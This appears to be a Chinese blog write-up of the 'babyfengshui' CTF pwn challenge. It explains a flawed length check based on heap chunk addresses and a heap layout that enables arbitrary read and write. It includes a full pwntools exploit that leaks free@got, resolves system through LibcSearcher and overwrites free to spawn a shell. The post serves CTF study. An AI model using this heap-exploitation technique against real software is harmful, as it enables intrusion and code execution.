Loading... XCTF总是给出一个错误的libc,让我对无法get shell百思不得其解,真是不友好,以后统一用LibcSearcher解决libc的问题吧。 这道题其实挺简单的,但是我还是做了很久,主要是没理解对输入长度的判断。 ### 漏洞点  不论是最开始的add还是后来的update操作,输入长度的判断都是通过这个if进行的。改写一下判断,实际做的是`v3 >= (int)((ptr[a1]-4) - (*ptr[a1]))`,也就是通过对description和name两个堆块的地址相减作为可以输入的最大长度 ### 解法  这两个堆块是一起分配的,看似是相邻的,但是实际上很多情况都不会物理相邻,我们只需要通过一定的构造,在description和name这两个堆块中插入description和name,就可以实现对一个name堆块的完全控制从而通过update和display功能实现任意地址读写。 那么如何构造呢,非常容易,先申请两对description(第一个大小小于fastbin的最大大小以方便后续操作,第二个的大小随意,不要太奇怪就行了)和name,然后把第一对description和name free掉,这时unsorted bin中就有了一个数据段大小为0x80的chunk,再申请一对description和name,description的数据段大小为0x80,显然unsorted bin中的chunk为best fit,这样的话此时堆的状态就是 | chunk | datasize | | - | - | | description2 | 0x80 | | description1 | don't care | | name1 | 0x80 | | name2 | 0x80 | 可见index为2的这对description和name已经物理不相邻了,index为1的那对就可以被我们完全控制了。 然后我们考虑修改name1的指向description1的指针为free@got,通过display泄露,算出system_addr,再通过update修改free@got为system_addr。这个时候free一个指向'/bin/sh\x00'的指针就可以getshell,这个字符串我们可以直接布置在description2中。 ### exp ``` #!/usr/bin/env python # coding=utf-8 from pwn import * from LibcSearcher import * context(log_level = 'debug') #sh = remote("220.249.52.134","34014") sh = remote("node3.buuoj.cn",26430) elf = ELF("./babyfengshui") #libc = ELF("./libc.so.6") ptr = 0x804B080 def add(size,payload): sh.sendlineafter("Action: ",'0') sh.sendlineafter("description: ",str(size)) sh.sendlineafter("name: ","pwn") sh.sendlineafter("text length: ",str(size)) sh.sendlineafter("text: ",payload) def Delete(index): sh.sendlineafter("Action: ",'1') sh.sendlineafter("index: ",str(index)) def Display(index): sh.sendlineafter("Action: ",'2') sh.sendlineafter("index: ",str(index)) def Update(index,size,payload): sh.sendlineafter("Action: ",'3') sh.sendlineafter("index: ",str(index)) sh.sendlineafter("text length: ",str(size)) sh.sendafter("text: ",payload) add(0x10,"index:0") add(0x60,"index:1") Delete(0) add(0x80,"index:2") payload = "/bin/sh\x00" + 'a' * (0x80) + 'a' * (0x60 + 0x8) + p32(elf.got['free']) Update(2,len(payload),payload) Display(1) sh.recvuntil("description: ") free_addr = u32(sh.recv(4)) print hex(free_addr) libc = LibcSearcher('free',free_addr) system_addr = free_addr - libc.dump('free') + libc.dump('system') #system_addr = free_addr - libc.symbols['free'] + libc.symbols['system'] print hex(system_addr) Update(1,0x4,p32(system_addr)) Delete(2) sh.interactive() ``` 最后修改:2021 年 01 月 01 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 1 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧
4 条评论
楼上的大佬实在令蒟蒻我受宠若惊啊
大佬Orz
冲冲冲!ヾ(≧∇≦*)ゝ
未来的大佬!前排围观~